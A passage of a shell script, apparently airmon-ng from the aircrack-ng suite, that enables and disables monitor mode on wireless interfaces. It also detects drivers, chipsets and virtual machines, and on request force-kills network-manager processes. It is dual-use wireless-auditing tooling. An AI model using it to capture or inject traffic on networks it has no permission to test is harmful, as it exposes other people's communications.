${1} up # printf " (monitor mode enabled)" #} yesorno() { read input case $input in y) return 0 ;; yes) return 0 ;; n) return 1 ;; no) return 1 ;; *) printf "\nInvalid input. Yes, or no? [y/n] " yesorno;; esac } startMac80211Iface() { #check if rfkill is set and cry if it is rfkill_check ${PHYDEV} rfkill_retcode="$?" case ${rfkill_retcode} in 1) printf "\t${1} is soft blocked, please run \"rfkill unblock ${1#phy}\" to use this interface.\n" ;; 2) printf "\t${1} is hard blocked, please flip the hardware wifi switch to on.\n" printf "\tIt may also be possible to unblock with \"rfkill unblock ${1#phy}\"\n" if [ "${checkvm_status}" != "run" ]; then checkvm fi if [ -n "${vm}" ]; then printf "Detected VM using ${vm_from}\n" printf "This appears to be a ${vm} Virtual Machine\n" printf "Some distributions have bugs causing rfkill hard block to be forced on in a VM.\n" printf "If toggling the rfkill hardware switch and \"rfkill unblock ${1#phy}\" both fail\n" printf "to fix this, please try not running in a VM.\n" fi ;; 3) printf "\t${1} is hard and soft blocked, please flip the hardware wifi switch to on.\n" printf "\tIt may also be needed to unblock with \"rfkill unblock ${1#phy}\"\n" ;; esac if [ "${rfkill_retcode}" != 0 ]; then printf "rfkill error, unable to start ${1}\n\n" printf "Would you like to try and automatically resolve this? [y/n] " yesorno retcode="$?" if [ "${retcode}" = "1" ]; then return 1 elif [ "${retcode}" = "0" ]; then rfkill_unblock ${PHYDEV} fi fi #check if $1 already has a mon interface on the same phy and bail if it does if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "803" ]; then setChannelMac80211 ${i} printf "\n\t\t(mac80211 monitor mode already enabled for [${PHYDEV}]${1} on [${PHYDEV}]${i})\n" exit fi done fi #we didn't bail means we need a monitor interface if [ ${#1} -gt 12 ]; then printf "Interface ${#1}mon is too long for linux so it will be renamed to the old style (wlan#) name.\n" findFreeInterface monitor else if [ -e /sys/class/net/${1}mon ]; then printf "\nYou already have a ${1}mon device but it is NOT in monitor mode." printf "\nWhatever you did, don't do it again." printf "\nPlease run \"iw ${1}mon del\" before attempting to continue\n" exit 1 fi #we didn't bail means our target interface is available setLink ${1} down IW_ERROR="$(iw phy ${PHYDEV} interface add ${1}mon type monitor 2>&1)" if [ -z "${IW_ERROR}" ]; then sleep 1 if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type)" = "803" ]; then setChannelMac80211 ${1}mon else printf "\nNewly created monitor mode interface ${1}mon is *NOT* in monitor mode.\n" printf "Removing non-monitor ${1}mon interface...\n" stopMac80211Iface ${1}mon abort exit 1 fi printf "\n\t\t(mac80211 monitor mode vif enabled for [${PHYDEV}]${1} on [${PHYDEV}]${1}mon)\n" else printf "\n\nERROR adding monitor mode interface: ${IW_ERROR}\n" exit 1 fi fi if [ "${ELITE}" = "1" ]; then #check if $1 is still down, warn if not if ifaceIsUp ${1} then printf "\nInterface ${1} is up, but it should be down. Something is interferring." printf "\nPlease run \"airmon-ng check kill\" and/or kill your network manager." fi else iw ${1} del printf "\t\t(mac80211 station mode vif disabled for [${PHYDEV}]${1})\n" fi } startwlIface() { if [ -f "/proc/brcm_monitor0" ]; then if [ -r "/proc/brcm_monitor0" ]; then local brcm_monitor="$(cat /proc/brcm_monitor0)" if [ "$brcm_monitor" = "1" ]; then printf "\n\t\t(experimental wl monitor mode vif already enabled for [${PHYDEV}]${1} on [${PHYDEV}]prism0)\n" return 0 fi fi if [ -w "/proc/brcm_monitor0" ]; then printf "1" > /proc/brcm_monitor0 if [ "$?" = "0" ]; then printf "\n\t\t(experimental wl monitor mode vif enabled for [${PHYDEV}]${1} on [${PHYDEV}]prism0)\n" else printf "\n\t\t(failed to enable experimental wl monitor mode for [${PHYDEV}${1})\n" fi else printf "\n\tUnable to write to /proc/brcm_monitor0, cannot enable monitor mode.\n" fi else printf "\n\tThis version of wl does not appear to suport monitor mode.\n" fi } #startDarwinIface() { # if [ -x /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport ]; then # if [ -n "${CH}" ] && [ ${CH} -lt 220 ]; then # /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport $1 sniff ${CH} # else # printf "Channel is set to none channel value of ${CH} # fi # fi #} setChannelMac80211() { setLink ${1} up if [ -n "${CH}" ]; then if [ ${CH} -lt 1000 ]; then #mac80211 specific check to see if hardware supports the channel number being assigned (requires grep with pcre) if [ -r "/sys/class/net/$1/phy80211/name" ]; then channel_list="$(iw phy $(cat /sys/class/net/$1/phy80211/name) info 2>&1 | grep -oP '\[\K[^\]]+')" local hardware_valid_channel=1 for i in $channel_list; do if [ "${CH}" = "${i}" ]; then hardware_valid_channel=0 break fi done if [ "${hardware_valid_channel}" = "1" ]; then printf "Channel ${CH} does not appear to be supported by ${1} hardware, defaulting to channel 3.\n\n" CH=3 fi fi IW_ERROR="$(iw dev ${1} set channel ${CH} 2>&1)" else #mac80211 specific check to see if hardware supports the frequency number being assigned (requires grep with pcre) if [ -r "/sys/class/net/$1/phy80211/name" ]; then frequency_list="$(iw phy $(cat /sys/class/net/$1/phy80211/name) info 2>&1 | grep -oP '\*\ \K[\d]+\ ')" local hardware_valid_freq=1 for i in $frequency_list; do if [ "${CH}" = "${i}" ]; then hardware_valid_freq=0 break fi print done if [ "${hardware_valid_freq}" = "1" ]; then printf "Frequency ${CH} does not appear to be supported by ${1} hardware, defaulting to 2422 Mhz.\n\n" CH="2422" fi fi IW_ERROR="$(iw dev ${1} set freq "${CH}" 2>&1)" fi else printf "CH is unset, this should not be possible.\n" exit 1 fi if [ -n "${IW_ERROR}" ]; then printf "\nError setting channel: ${IW_ERROR}\n" if printf "${IW_ERROR}" | grep -q "(-16)"; then printf "Error -16 likely means your card was set back to station mode by something.\n" printf "Removing non-monitor ${1} interface...\n" stopMac80211Iface "${1}" abort exit 1 fi if printf "${IW_ERROR}" | grep -q "(-22)"; then printf "Unable to set channel/frequency ${CH}, most likely it is outside of regulatory domain\n\n" fi fi } #stopDeprecatedIface() { # setLink $1 down # iwconfig $1 mode Managed > /dev/null 2>&1 # setLink $1 up # printf " (monitor mode disabled)" #} stopMac80211Iface() { if [ -f /sys/class/net/${1}/type ]; then if [ "${2}" != "abort" ] && [ "$(cat /sys/class/net/${1}/type)" != "803" ]; then printf "\n\nYou are trying to stop a device that isn't in monitor mode.\n" printf "Doing so is a terrible idea, if you really want to do it then you\n" printf "need to type 'iw ${1} del' yourself since it is a terrible idea.\n" printf "Most likely you want to remove an interface called wlan[0-9]mon\n" printf "If you feel you have reached this warning in error,\n" printf "please report it.\n" exit 1 else if [ "${ELITE}" = "0" ]; then local need_sta=1 if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "1" ]; then [ "${2}" != "abort" ] && printf "\n\t\t(mac80211 station mode vif already available for [${PHYDEV}]${1} on [${PHYDEV}]${i})\n" need_sta=0 fi done fi if [ "${need_sta}" = "1" ] && [ -e /sys/class/net/${1%mon}/phy80211/name ]; then if [ "$(cat /sys/class/net/${1%mon}/phy80211/name)" = "${PHYDEV}" ]; then printf "\nYou already have a ${1%mon} device but it is NOT in station mode." printf "\nWhatever you did, don't do it again." printf "\nPlease run \"iw ${1%mon} del\" before attempting to continue\n" exit 1 else printf "\nYou already have a ${1%mon} device, but is is not on the same phy as ${1}.\n" printf "\nAttemping to pick a new name...\n" findFreeInterface station fi fi if [ "${need_sta}" = "1" ]; then IW_ERROR="$(iw phy ${PHYDEV} interface add ${1%mon} type station 2>&1)" if [ -z "${IW_ERROR}" ]; then interface="${1%mon}" if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "1" ]; then #here is where we catch udev renaming our interface interface="${i}" fi done fi printf "\n\t\t(mac80211 station mode vif enabled on [${PHYDEV}]${interface})\n" else printf "\n\n ERROR adding station mode interface: ${IW_ERROR}\n" fi fi fi setLink ${1} down IW_ERROR="$(iw dev "${1}" del 2>&1 | grep "nl80211 not found")" if [ -z "$IW_ERROR" ]; then if [ "${2}" != "abort" ]; then printf "\n\t\t(mac80211 monitor mode vif disabled for [${PHYDEV}]${1})\n" elif [ "${2}" = "abort" ]; then printf "\nWARNING: unable to start monitor mode, please run \"airmon-ng check kill\"\n" fi else if [ -f /sys/class/ieee80211/${PHYDEV}/remove_iface ]; then printf "${1}" > /sys/class/ieee80211/${PHYDEV}/remove_iface printf "\n\t\t(mac80211 monitor mode vif disabled for [${PHYDEV}]${1})\n" else printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" fi fi fi fi } stopwlIface() { if [ -f "/proc/brcm_monitor0" ]; then if [ -r "/proc/brcm_monitor0" ]; then local brcm_monitor="$(cat /proc/brcm_monitor0)" if [ "$brcm_monitor" = "0" ]; then printf "\n\t\t(experimental wl monitor mode vif already disabled for [${PHYDEV}]${1})\n" return 0 fi fi if [ -w "/proc/brcm_monitor0" ]; then printf "0" > /proc/brcm_monitor0 if [ "$?" = "0" ]; then printf "\n\t\t(experimental wl monitor mode vif disabled for [${PHYDEV}]${1})\n" else printf "\n\t\t(failed to disable experimental wl monitor mode for [${PHYDEV}${1})\n" fi else printf "\n\tUnable to write to /proc/brcm_monitor0, cannot disable monitor mode.\n" fi else printf "\n\tThis version of wl does not appear to suport monitor mode.\n" fi } getDriver() { #standard detection path, this is all that is needed for proper drivers #DRIVER=$(printf "$ethtool_output" | awk '/driver/ {print $2}') #if $(modinfo -n ${DRIVER} > /dev/null 2>&1) #then # true #else # unset DRIVER #fi #if [ "$DRIVER" = "" ] #then if [ -f /sys/class/net/$1/device/uevent ]; then DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/uevent)" else #DRIVER we put SOMETHING in DRIVER here if we are unable to find anything real DRIVER="??????" fi #fi #here we test for driver usb, ath9k_htc,rt2870, possibly others show this if [ "$DRIVER" = "usb" ]; then printf "Warn ON: USB\n" BUSADDR="$(printf "$ethtool_output" | awk '/bus-info/ {print $2}'):1.0" if [ "$DEBUG" = "1" ]; then printf "${BUSADDR}\n" fi if [ -n "$BUSADDR" ]; then if [ -f /sys/class/net/$1/device/"$BUSADDR"/uevent ]; then DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/$BUSADDR/uevent)" fi fi #here we can normalize driver names we don't like if [ "$DRIVER" = "rt2870" ]; then DRIVER="rt2870sta" fi if [ -f /sys/class/net/$1/device/idProduct ]; then if [ "$(cat /sys/class/net/$1/device/idProduct)" = "3070" ]; then DRIVER="rt3070sta" fi fi fi if [ "$DRIVER" = "rtl8187L" ]; then DRIVER="r8187l" fi if [ "$DRIVER" = "rtl8187" ] && [ "$STACK" = "ieee80211" ]; then DRIVER="r8187" fi #Here we will catch the broken lying drivers not caught above #currently this only functions for pci devices and not usb since lsusb has no -k option if [ "${MODINFO}" = "1" ]; then if $(modinfo -n $DRIVER > /dev/null 2>&1) then true else if [ -n "${DEVICEID}" ] && [ "$BUS" = "pci" ]; then DRIVER="$(lspci -d $DEVICEID -k | awk '/modules/ {print $3}')" fi if [ -n "$DRIVER" ]; then DRIVER="??????" fi fi fi if [ "$DEBUG" = "1" ]; then printf "getdriver() $DRIVER\n" fi } getFrom() { #from detection FROM="K" if [ "${MODINFO}" = "1" ] && [ -f /proc/modules ]; then if modinfo -n $DRIVER 2>&1 | grep -q 'kernel/drivers' then FROM="K" #we add special handling here because we hate the vendor drivers AND they install in the wrong place if [ "$DRIVER" = "r8187" ]; then FROM="V" elif [ "$DRIVER" = "r8187l" ]; then FROM="V" elif [ "$DRIVER" = "rt5390sta" ]; then FROM="V" fi elif modinfo -n $DRIVER 2>&1 | grep -q 'updates/drivers' then FROM="C" elif modinfo -n $DRIVER 2>&1 | grep -q misc then FROM="V" elif modinfo -n $DRIVER 2>&1 | grep -q staging then FROM="S" else FROM="?" fi else FROM="K" fi if [ "$DEBUG" = "1" ]; then printf "getFrom() $FROM\n" fi } getFirmware() { FIRMWARE="$(printf "$ethtool_output" | awk '/firmware-version/ {print $2}')" #ath9k_htc firmware is a shorter version number than most so trap and make it pretty if [ "$DRIVER" = "ath9k_htc" ]; then FIRMWARE="$FIRMWARE\t" fi if [ "$FIRMWARE" = "N/A" ]; then FIRMWARE="$FIRMWARE\t" elif [ -z "$FIRMWARE" ]; then FIRMWARE="unavailable" fi if [ "$DEBUG" = "1" ]; then printf "getFirmware $FIRMWARE\n" fi } getChipset() { #this needs cleanup, we shouldn't have multiple lines assigning chipset per bus #fix this to be one line per bus if [ -f /sys/class/net/$1/device/modalias ]; then BUS="$(cut -d ":" -f 1 /sys/class/net/$1/device/modalias)" if [ "$BUS" = "usb" ]; then if [ "${LSUSB}" = "1" ]; then BUSINFO="$(cut -d ":" -f 2 /sys/class/net/$1/device/modalias | cut -b 1-10 | sed 's/^.//;s/p/:/')" CHIPSET="$(lsusb -d "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')" elif [ "${LSUSB}" = "0" ]; then printf "Your system doesn't seem to support usb but we found usb hardware, please report this.\n" exit 1 fi #yes the below line looks insane, but broadcom appears to define all the internal buses so we have to detect them here elif [ "${BUS}" = "pci" -o "${BUS}" = "pcmcia" ] && [ "${LSPCI}" = "1" ]; then if [ -f /sys/class/net/$1/device/vendor ] && [ -f /sys/class/net/$1/device/device ]; then DEVICEID="$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device)" CHIPSET="$(lspci -d $DEVICEID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')" else BUSINFO="$(printf "$ethtool_output" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')" CHIPSET="$(lspci | grep "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')" DEVICEID="$(lspci -nn | grep "$BUSINFO" | grep '[[0-9][0-9][0-9][0-9]:[0-9][0-9][0-9][0-9]' -o)" fi elif [ "${BUS}" = "sdio" ]; then if [ -f /sys/class/net/$1/device/vendor ] && [ -f /sys/class/net/$1/device/device ]; then DEVICEID="$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device)" fi if [ "${DEVICEID}" = '0x02d0:0x4330' ]; then CHIPSET='Broadcom 4330' elif [ "${DEVICEID}" = '0x02d0:0x4329' ]; then CHIPSET='Broadcom 4329' elif [ "${DEVICEID}" = '0x02d0:0x4334' ]; then CHIPSET='Broadcom 4334' elif [ "${DEVICEID}" = '0x02d0:0xa94c' ]; then CHIPSET='Broadcom 43340' elif [ "${DEVICEID}" = '0x02d0:0xa94d' ]; then CHIPSET='Broadcom 43341' elif [ "${DEVICEID}" = '0x02d0:0x4324' ]; then CHIPSET='Broadcom 43241' elif [ "${DEVICEID}" = '0x02d0:0x4335' ]; then CHIPSET='Broadcom 4335/4339' elif [ "${DEVICEID}" = '0x02d0:0xa962' ]; then CHIPSET='Broadcom 43362' elif [ "${DEVICEID}" = '0x02d0:0xa9a6' ]; then CHIPSET='Broadcom 43430' elif [ "${DEVICEID}" = '0x02d0:0x4345' ]; then CHIPSET='Broadcom 43455' elif [ "${DEVICEID}" = '0x02d0:0x4354' ]; then CHIPSET='Broadcom 4354' elif [ "${DEVICEID}" = '0x02d0:0xa887' ]; then CHIPSET='Broadcom 43143' else CHIPSET="unable to detect for sdio $DEVICEID" fi else CHIPSET="Not pci, usb, or sdio" fi #we don't do a check for usb here but it is obviously only going to work for usb elif [ -f /sys/class/net/$1/device/idVendor ] && [ -f /sys/class/net/$1/device/idProduct ]; then DEVICEID="$(cat /sys/class/net/$1/device/idVendor):$(cat /sys/class/net/$1/device/idProduct)" if [ "${LSUSB}" = "1" ]; then CHIPSET="$(lsusb | grep -i "$DEVICEID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')" elif [ "${LSUSB}" = "0" ]; then CHIPSET="idVendor and idProduct found on non-usb device, please report this." fi elif [ "${DRIVER}" = "mac80211_hwsim" ]; then CHIPSET="Software simulator of 802.11 radio(s) for mac80211" elif $(printf "$ethtool_output" | awk '/bus-info/ {print $2}' | grep -q bcma) then BUS="bcma" if [ "${DRIVER}" = "brcmsmac" ] || [ "${DRIVER}" = "brcmfmac" ] || [ "${DRIVER}" = "b43" ]; then CHIPSET="Broadcom on bcma bus, information limited" else CHIPSET="Unrecognized driver \"${DRIVER}\" on bcma bus" fi else CHIPSET="non-mac80211 device? (report this!)" fi if [ "$DEBUG" = "1" ]; then printf "getchipset() $CHIPSET\n" printf "BUS = $BUS\n" printf "BUSINFO = $BUSINFO\n" printf "DEVICEID = $DEVICEID\n" fi } getStack() { if [ -z "$1" ]; then return fi if [ -d /sys/class/net/$1/phy80211/ ]; then MAC80211="1" STACK="mac80211" else MAC80211="0" STACK="ieee80211" fi if [ -e /proc/sys/dev/$1/fftxqmin ]; then MAC80211="0" STACK="net80211" fi if [ "$DEBUG" = "1" ]; then printf "getStack $STACK\n" fi } getExtendedInfo() { #stuff rfkill info into extended if nothing else is there rfkill_check ${PHYDEV} rfkill_retcode="$?" if [ "${rfkill_retcode}" = "1" ]; then EXTENDED="rfkill soft blocked" elif [ "${rfkill_retcode}" = "2" ]; then EXTENDED="rfkill hard blocked" elif [ "${rfkill_redcode}" = "3" ]; then EXTENDED="rfkill hard and soft blocked" fi if [ "$DRIVER" = "??????" ]; then EXTENDED="\t Failure detecting driver properly please report" fi #first we set all the real (useful) info we can find if [ -f /sys/class/net/$1/device/product ]; then EXTENDED="\t$(cat /sys/class/net/$1/device/product)" fi #then we sweep for known broken drivers with no available better drivers if [ "$DRIVER" = "wl" ]; then if [ -f "/proc/brcm_monitor0" ]; then EXTENDED="Experimental monitor mode support" else EXTENDED="No known monitor support, try a newer version or b43" fi fi if [ "$DRIVER" = "brcmsmac" ]; then EXTENDED="Driver commonly referred to as brcm80211 (no injection yet)" fi if [ "$DRIVER" = "r8712u" ]; then EXTENDED="\t\t\t\tNo monitor or injection support" fi #lastly we detect all the broken drivers which have working alternatives KV="$(uname -r | awk -F'-' '{print $1}')" KVMAJOR="$(printf ${KV} | awk -F'.' '{print $1$2}')" KVMINOR="$(printf ${KV} | awk -F'.' '{print $3}')" if [ $KVMAJOR -lt 26 ]; then printf "You are running a kernel older than 2.6, I'm surprised it didn't error before now." if [ "$DEBUG" = "1" ]; then printf "${KVMAJOR} ${KVMINOR}\n" fi exit 1 fi if [ "$DRIVER" = "rt2870sta" ]; then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ]; then EXTENDED="\tBlacklist rt2870sta and use rt2800usb" else EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable" fi #add in a flag for "did you tell use to do X" and emit instructions elif [ "$DRIVER" = "rt3070sta" ]; then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ]; then EXTENDED="\tBlacklist rt3070sta and use rt2800usb" else EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable" fi elif [ "$DRIVER" = "rt5390sta" ]; then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "39" ]; then EXTENDED="\tBlacklist rt5390sta and use rt2800usb" else EXTENDED="\tUpgrade to kernel 2.6.39 or install compat-wireless stable" fi elif [ "$DRIVER" = "ar9170usb" ]; then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ]; then EXTENDED="\tBlacklist ar9170usb and use carl9170" else EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable" fi elif [ "$DRIVER" = "arusb_lnx" ]; then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ]; then EXTENDED="\tBlacklist arusb_lnx and use carl9170" else EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable" fi elif [ "$DRIVER" = "r8187" ]; then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ]; then EXTENDED="\t\tBlacklist r8187 and use rtl8187 from the kernel" else EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable" fi elif [ "$DRIVER" = "r8187l" ]; then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ]; then EXTENDED="\t\tBlacklist r8187l and use rtl8187 from the kernel" else EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable" fi fi } scanProcesses() { #this test means it errored and said it was busybox since busybox doesn't print without error if (ps -A 2>&1 | grep -q BusyBox) then #busybox in openwrt cannot handle -A but its output by default is -A psopts="" else psopts="-A" fi if ( ps -o comm= 2>&1 | grep -q BusyBox ) then #busybox in openwrt cannot handle -o pso="0" else pso="1" fi PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|udhcpc\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox" #PS_ERROR="invalid\|illegal" if [ -x "$(command -v service 2>&1)" ] && [ "$1" = "kill" ]; then service network-manager stop 2> /dev/null > /dev/null service NetworkManager stop 2> /dev/null > /dev/null service avahi-daemon stop 2> /dev/null > /dev/null fi unset match if [ "${pso}" = 1 ]; then match="$(ps ${psopts} -o comm= | grep -c ${PROCESSES})" elif [ "${pso}" = 0 ]; then #openwrt busybox grep hits on itself so we -v it out match="$(ps ${psopts} | grep -c ${PROCESSES} | grep -v grep)" fi if [ ${match} -gt 0 ] && [ "${1}" != "kill" ]; then printf "Found $match processes that could cause trouble.\n" printf "If airodump-ng, aireplay-ng or airtun-ng stops working after\n" printf "a short period of time, you may want to run 'airmon-ng check kill'\n\n" else if [ "${1}" != "kill" ] && [ -n "${1}" ]; then printf "No interfering processes found\n" return fi fi if [ ${match} -gt 0 ]; then if [ "${1}" = "kill" ]; then printf "Killing these processes:\n\n" fi if [ "${pso}" = "1" ]; then ps ${psopts} -o pid=PID -o comm=Name | grep "${PROCESSES}\|PID" else #openwrt busybox grep hits on itself so we -v it out ps ${psopts} | grep "${PROCESSES}\|PID | grep -v grep" fi if [ "${1}" = "kill" ]; then #we have to use signal 9 because things like nm actually respawn wpa_supplicant too quickly if [ "${pso}" = "1" ]; then for pid in $(ps ${psopts} -o pid= -o comm= | grep ${PROCESSES} | awk '{print $1}'); do kill -9 ${pid} done else #openwrt busybox grep hits on itself so we -v it out for pid in $(ps ${psopts} | grep ${PROCESSES} | grep -v grep | awk '{print $1}'); do kill -9 ${pid} done fi fi fi #i=1 #while [ $i -le $match ] #do # pid=$(ps ${psopts} -o pid= -o comm= | grep $PROCESSES | head -n $i | tail -n 1 | awk '{print $1}') # pname=$(ps ${psopts} -o pid= -o comm= | grep $PROCESSES | head -n $i | tail -n 1 | awk '{print $2}') # if [ x"$1" != "xkill" ] # then # printf "${pid}\t${pname}\n" # else # kill ${pid} # fi # i=$(($i+1)) #done printf "\n" #this stub is for checking against the interface name, but since it almost never hits why bother? #if [ x"${1}" != "x" -a x"${1}" != "xkill" ] #then # #the next line doesn't work on busybox ps because -p is unimplimented # match2=$(ps -o comm= -p 1 2>&1 | grep $PS_ERROR -c) # if [ ${match2} -gt 0 ] # then # return # fi # # for i in $(ps auxw | grep ${1} | grep -v "grep" | grep -v "airmon-ng" | awk '{print $2}') # do # pname=$(ps -o comm= -p ${i}) # printf "Process with PID ${i} ($pname) is running on interface ${1}\n" # done #fi } listInterfaces() { unset iface_list for iface in $(ls -1 /sys/class/net) do if [ -f /sys/class/net/${iface}/uevent ]; then if $(grep -q DEVTYPE=wlan /sys/class/net/${iface}/uevent) then iface_list="${iface_list}\n ${iface}" fi fi done if [ -x "$(command -v iwconfig 2>&1)" ] && [ -x "$(command -v sort 2>&1)" ]; then for iface in $(iwconfig 2> /dev/null | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/'); do iface_list="${iface_list}\n ${iface}" done iface_list="$(printf "${iface_list}" | sort -bu)" fi } getPhy() { if [ -z "$1" ]; then return fi if [ $MAC80211 = "0" ]; then PHYDEV="null" return fi if [ -r /sys/class/net/$1/phy80211/name ]; then PHYDEV="$(cat /sys/class/net/$1/phy80211/name)" fi if [ -d /sys/class/net/$1/phy80211/ ] && [ -z "${PHYDEV}" ]; then PHYDEV="$(ls -l "/sys/class/net/$1/phy80211" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')" fi } checkvm() { #this entire section of code is completely stolen from Carlos Perez's work in checkvm.rb for metasploit and rewritten (poorly) in sh #Check dmi info if [ -x "$(command -v dmidecode 2>&1)" ]; then dmi_info=$(dmidecode 2>&1) if [ -n "${dmi_info}" ]; then printf "${dmi_info}" | grep -iq "microsoft corporation" 2> /dev/null && vm="MS Hyper-V" printf "${dmi_info}" | grep -iq "vmware" 2> /dev/null && vm="VMware" printf "${dmi_info}" | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox" printf "${dmi_info}" | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM" printf "${dmi_info}" | grep -iq "domu" 2> /dev/null && vm="Xen" [ -n "${vm}" ] && vm_from="dmi_info" fi fi #check loaded modules if [ -z "${vm_from}" ]; then if [ -x "$(command -v lsmod 2>&1)" ]; then lsmod_data="$(lsmod 2>&1)" if [ -n "${lsmod}" ]; then printf "${lsmod_data}" | grep -iqE "vboxsf|vboxguest" 2> /dev/null && vm="VirtualBox" printf "${lsmod_data}" | grep -iqE "vmw_ballon|vmxnet|vmw" 2> /dev/null && vm="VMware" printf "${lsmod_data}" | grep -iqE "xen-vbd|xen-vnif" 2> /dev/null && vm="Xen" printf "${lsmod_data}" | grep -iqE "virtio_pci|virtio_net" 2> /dev/null && vm="Qemu/KVM" printf "${lsmod_data}" | grep -iqE "hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc" && vm="MS Hyper-V" [ -n "${vm}" ] && vm_from="lsmod" fi fi fi #check scsi driver if [ -z "${vm_from}" ]; then if [ -r /proc/scsi/scsi ]; then grep -iq "vmware" /proc/scsi/scsi 2> /dev/null && vm="VMware" grep -iq "vbox" /proc/scsi/scsi 2> /dev/null && vm="VirtualBox" [ -n "${vm}" ] && vm_from="/pro/scsi/scsi" fi fi # Check IDE Devices if [ -z "${vm_from}" ]; then if [ -d /proc/ide ]; then ide_model="$(cat /proc/ide/hd*/model)" printf "${ide_model}" | grep -iq "vbox" 2> /dev/null && vm="VirtualBox" printf "${ide_model}" | grep -iq "vmware" 2> /dev/null && vm="VMware" printf "${ide_model}" | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM" printf "${ide_model}" | grep -iqE "virtual (hd|cd)" 2> /dev/null && vm="Hyper-V/Virtual PC" [ -n "${vm}" ] && vm_from="ide_model" fi fi # Check using lspci if [ -z "${vm_from}" ] && [ "${LSPCI}" = "1" ]; then lspci_data="$(lspci 2>&1)" printf "${lspci_data}" | grep -iq "vmware" 2> /dev/null && vm="VMware" printf "${lspci_data}" | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox" [ -n "${vm}" ] && vm_from="lspci" fi # Xen bus check ## XXX: Removing unsafe check # this check triggers if CONFIG_XEN_PRIVILEGED_GUEST=y et al are set in kconfig (debian default) even in not actually a guest #if [ -z ${vm} ] #then # ls -1 /sys/bus | grep -iq "xen" 2> /dev/null && vm="Xen" # vm_from="/sys/bus/xen" #fi # Check using lscpu if [ -z "${vm_from}" ]; then if [ -x "$(command -v lscpu 2>&1)" ]; then lscpu_data="$(lscpu 2>&1)" printf "${lscpu_data}" | grep -iq "Xen" 2> /dev/null && vm="Xen" printf "${lscpu_data}" | grep -iq "KVM" 2> /dev/null && vm="KVM" printf "${lscpu_data}" | grep -iq "Microsoft" 2> /dev/null && vm="MS Hyper-V" [ -n "${vm}" ] && vm_from="lscpu" fi fi #Check vmnet if [ -z "${vm_from}" ]; then if [ -e /dev/vmnet ]; then vm="VMware" vm_from="/dev/vmnet" fi fi # Check dmesg Output if [ -z "${vm_from}" ]; then if [ -x "$(command -v dmesg 2>&1)" ]; then dmesg | grep -iqE "vboxbios|vboxcput|vboxfacp|vboxxsdt|(vbox cd-rom)|(vbox harddisk)" && vm="VirtualBox" dmesg | grep -iqE "(vmware virtual ide)|(vmware pvscsi)|(vmware virtual platform)" && vm="VMware" dmesg | grep -iqE "(xen_mem)|(xen-vbd)" && vm="Xen" dmesg | grep -iqE "(qemu virtual cpu version)" && vm="Qemu/KVM" [ -n "${vm}" ] && vm_from="dmesg" fi fi checkvm_status="run" } #end function definitions #begin execution #here we check for any phys that have no interfaces to pick up The Lost Phys handleLostPhys listInterfaces if [ "${1}" = "check" ] || [ "${1}" = "start" ]; then if [ "${2}" = "kill" ]; then #if we are killing, tell scanProcesses that scanProcesses "${2}" exit elif [ "${1}" = "start" ]; then #this stub can send scanProcesses the interface name #but this seems entirely unreliable so just run generic #scanProcesses "${2}" scanProcesses else scanProcesses exit fi fi if [ "$#" != "0" ]; then if [ "$1" != "start" ] && [ "$1" != "stop" ]; then usage fi if [ -z "$2" ]; then usage fi fi #startup checks complete, headers then main if [ "$DEBUG" = "1" ]; then if [ -x "$(command -v readlink 2>&1)" ]; then printf "/bin/sh -> $(readlink -f /bin/sh)\n" if $(readlink -f 